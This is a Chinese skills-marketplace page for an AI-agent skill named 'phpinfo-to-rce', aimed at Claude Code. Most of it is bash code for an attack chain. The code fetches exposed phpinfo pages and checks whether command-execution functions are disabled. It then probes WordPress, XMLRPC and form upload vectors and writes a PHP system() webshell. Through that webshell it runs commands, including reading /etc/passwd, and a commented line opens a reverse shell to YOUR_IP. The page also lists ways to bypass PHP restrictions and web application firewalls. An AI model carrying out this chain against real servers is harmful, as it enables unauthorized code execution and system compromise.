关于 phpinfo-to-rce
用于分析暴露的 PHPInfo 页面并评估独立代码执行路径所需条件的安全测试技能。内容包括配置检查和上传途径评估;仅有页面暴露并不能证明存在 RCE。
主要功能
- 01确认真实的 PHPInfo 页面
- 02检查 PHP 执行限制
- 03查看相关配置值
- 04检查文件上传途径
- 05评估代码执行前提
适用场景
- 01排查暴露的 info.php 页面
- 02评估是否需要测试上传途径
- 03在执行链审查中记录配置证据
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill phpinfo-to-rce安装后在 Claude Code 中输入/phpinfo-to-rce确认已加载。
详细介绍
PHPInfo → RCE 链技能
评估暴露的 phpinfo() 页面是否泄露配置,以及是否具备独立执行路径所需的前提条件。启用进程函数本身并不会导致 RCE,还需要经过授权的代码执行或文件执行原语。
使用时机
source-leak-hunt标记出暴露了info.php或phpinfo.php的目标。- 在投入精力测试上传向量前,需要确认是否可能实现 RCE。
- 构建需要代码执行的攻击链。
- 目标存在文件上传路径(开放注册 + XMLRPC、联系表单、个人资料图片等)。
前提条件
- 配备 curl 的
terminal。 - 已确认存在暴露的 phpinfo 页面(HTTP 200,包含 "PHP Version")。
- 若要实现 RCE:同一主机上存在文件上传向量(使用凭据的 XMLRPC、开放注册、联系表单等)。
运行方法
# Step 1: Fetch phpinfo and check for exec restrictions
curl --max-time 30 --connect-timeout 10 -sk "https://TARGET/info.php" | grep -i "disable_functions"
# Step 2: If ONLY pcntl_* is disabled, all exec functions are available
# Step 3: Find upload vector and deliver webshell
快速参考
| 检查项 | 关注内容 | 影响 |
|---|---|---|
disable_functions | 仅有 pcntl_alarm,pcntl_fork,... | 所有 exec 函数均可用——可能实现 RCE |
disable_functions | exec,system,passthru,shell_exec,popen,proc_open | exec 被禁用——需要绕过 |
allow_url_fopen | On | 可能实现远程文件包含 |
allow_url_include | On | 可直接实现 RFI |
open_basedir | 未设置或为 /var/www:/tmp | 文件访问范围较广 |
display_errors | On | 可能通过错误泄露信息 |
DOCUMENT_ROOT | /var/www/html 或自定义值 | 确定 Webshell 的存放位置 |
SERVER_ADMIN | 电子邮件地址 | 可用于社会工程联系 |
_SERVER["REMOTE_ADDR"] | 显示你的 IP(如果使用了代理) | 检测 WAF/CDN |
| PHP 版本 | < 7.4 | 已停止支持——存在更多未修补的 CVE |
流程
步骤 1 — 获取并分析 PHPInfo
TARGET="$1"
# Full phpinfo dump
curl -sk --max-time 15 --connect-timeout 10 "https://$TARGET/info.php" > /tmp/phpinfo_$TARGET.html
curl -sk --max-time 15 --connect-timeout 10 "https://$TARGET/phpinfo.php" >> /tmp/phpinfo_$TARGET.html 2>/dev/null
# Check if phpinfo is real (not SPA catch-all)
if ! grep -q "PHP Version" /tmp/phpinfo_$TARGET.html; then
echo "[-] Not a real phpinfo page"
exit 1
fi
echo "[+] PHPInfo confirmed on $TARGET"
echo ""
# Extract critical directives
echo "=== PHP Version ==="
grep -Eo 'PHP Version <.*?>[^<]+' /tmp/phpinfo_$TARGET.html | head -1
echo ""
echo "=== disable_functions ==="
DISABLED=$(grep -A1 'disable_functions' /tmp/phpinfo_$TARGET.html | grep -Eo '>(local|master).*?<' | sed 's/[<>]//g')
echo "$DISABLED"
echo ""
echo "=== Exec Functions Available? ==="
if echo "$DISABLED" | grep -qE 'exec|system|passthru|shell_exec|popen|proc_open'; then
echo "[-] Exec functions ARE disabled — RCE blocked via standard methods"
else
echo "[+] Exec functions NOT disabled — RCE POSSIBLE!"
echo "[+] Available: exec, system, passthru, shell_exec, popen, proc_open"
fi
echo ""
echo "=== Other Critical Settings ==="
grep -E '(allow_url_fopen|allow_url_include|open_basedir|display_errors|DOCUMENT_ROOT|SERVER_ADMIN|upload_max_filesize|post_max_size)' /tmp/phpinfo_$TARGET.html | \
sed 's/<[^>]*>//g' | sed 's/\s\+/ /g' | sort -u
步骤 2 — 评估 RCE 可行性
# Decision matrix:
# 1. Exec functions NOT disabled → RCE possible with ANY upload vector
# 2. Exec functions disabled → Check for bypass techniques:
# - LD_PRELOAD bypass (if putenv() not disabled)
# - FFI bypass (PHP 7.4+ with FFI enabled)
# - proc_open bypass (sometimes missed in disable_functions)
# - mail() + sendmail_path abuse
# Quick check for LD_PRELOAD bypass viability
if ! echo "$DISABLED" | grep -q "putenv"; then
echo "[+] putenv() available — LD_PRELOAD bypass possible"
fi
# Quick check for FFI bypass
if grep -q "FFI" /tmp/phpinfo_$TARGET.html && ! echo "$DISABLED" | grep -q "FFI"; then
echo "[+] FFI enabled — FFI bypass possible (PHP 7.4+)"
fi
步骤 3 — 查找上传向量
TARGET="$1"
echo "[*] Searching for upload vectors on $TARGET..."
# Check WordPress open registration
REG=$(curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/wp-login.php?action=register" | grep -o 'user_login')
[[ -n "$REG" ]] && echo "[+] Open WP registration — can upload via XMLRPC wp.uploadFile"
# Check XMLRPC with wp.uploadFile
XMLRPC_METHODS=$(curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' \
| grep -o 'wp.uploadFile')
[[ -n "$XMLRPC_METHODS" ]] && echo "[+] XMLRPC wp.uploadFile available"
# Check for contact form file upload
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/contact" | grep -iE 'type=.file|enctype=.multipart' && \
echo "[+] Contact form with file upload"
# Check Elementor upload (if plugin present)
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/wp-json/elementor/v1/globals" | grep -q "elementor" && \
echo "[+] Elementor detected — check for upload endpoints"
# Check Gravity Forms
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/wp-json/gf/v2/forms" | grep -q "id" && \
echo "[+] Gravity Forms detected — check for file upload fields"
步骤 4 — 投放 Webshell
如果找到上传向量(例如,XMLRPC + 开放注册):
TARGET="$1"
# Generate simple PHP webshell
cat > /tmp/ws.php << 'EOF'
<?php
$c = $_REQUEST['c'];
if($c) { system($c); } else { echo ""; }
?>
EOF
# If XMLRPC wp.uploadFile is available (see xmlrpc-exploitation skill for full flow):
# 1. Register user via open registration
# 2. Upload webshell via XMLRPC
# 3. Access at /wp-content/uploads/YYYY/MM/ws.php?c=id
echo "[*] Webshell ready at /tmp/ws.php"
echo "[*] Use xmlrpc-exploitation skill for the full upload chain"
echo "[*] Or adapt to the specific upload vector found above"
步骤 5 — 验证 RCE
TARGET="$1"
WEBSHELL_URL="$2" # e.g., https://TARGET/wp-content/uploads/2026/06/ws.php
# Test command execution
curl --max-time 30 --connect-timeout 10 -sk "$WEBSHELL_URL?c=id"
curl --max-time 30 --connect-timeout 10 -sk "$WEBSHELL_URL?c=uname -a"
curl --max-time 30 --connect-timeout 10 -sk "$WEBSHELL_URL?c=cat /etc/passwd | head -5"
# Establish reverse shell (if outbound connections allowed)
# On your listener: nc -lvnp 4444
# curl -sk "$WEBSHELL_URL?c=bash -c 'bash -i >%26 /dev/tcp/YOUR_IP/4444 0>%261'"
注意事项
- phpinfo 受 WAF 保护: Cloudflare 可能会缓存 phpinfo 或阻止某些路径。尝试
/test.php、/php_info.php、/info.php?1。 - 绕过 disable_functions 的复杂性: LD_PRELOAD 绕过需要编译与目标架构和 libc 匹配的 .so 文件。FFI 绕过要求 PHP 7.4+,且
FFI::cdef()未列入 disable_functions。 - 发现上传路径: WordPress 会将上传文件存储在
/wp-content/uploads/YYYY/MM/。某些主机会通过UPLOADS常量更改此路径(请查看 phpinfo)。 - Webshell 被 WAF 阻止: 如果主机启用了 mod_security 或 WAF,访问 PHP Webshell 时可能会被阻止。尝试其他扩展名(.phtml、.php5、.pht)或混淆后的有效载荷。
验证
- PHPInfo 必须是真实页面(包含 "PHP Version" 文本,而非 SPA 通用兜底页面)。
- 必须通过
disable_functions分析确认至少有一个 exec 函数可用。 - 上传的 Webshell 必须返回
id或whoami输出,以证明代码执行成功。 - 记录完整攻击链:phpinfo → disable_functions 分析 → 上传向量 → Webshell → RCE。
评论
支持 Markdown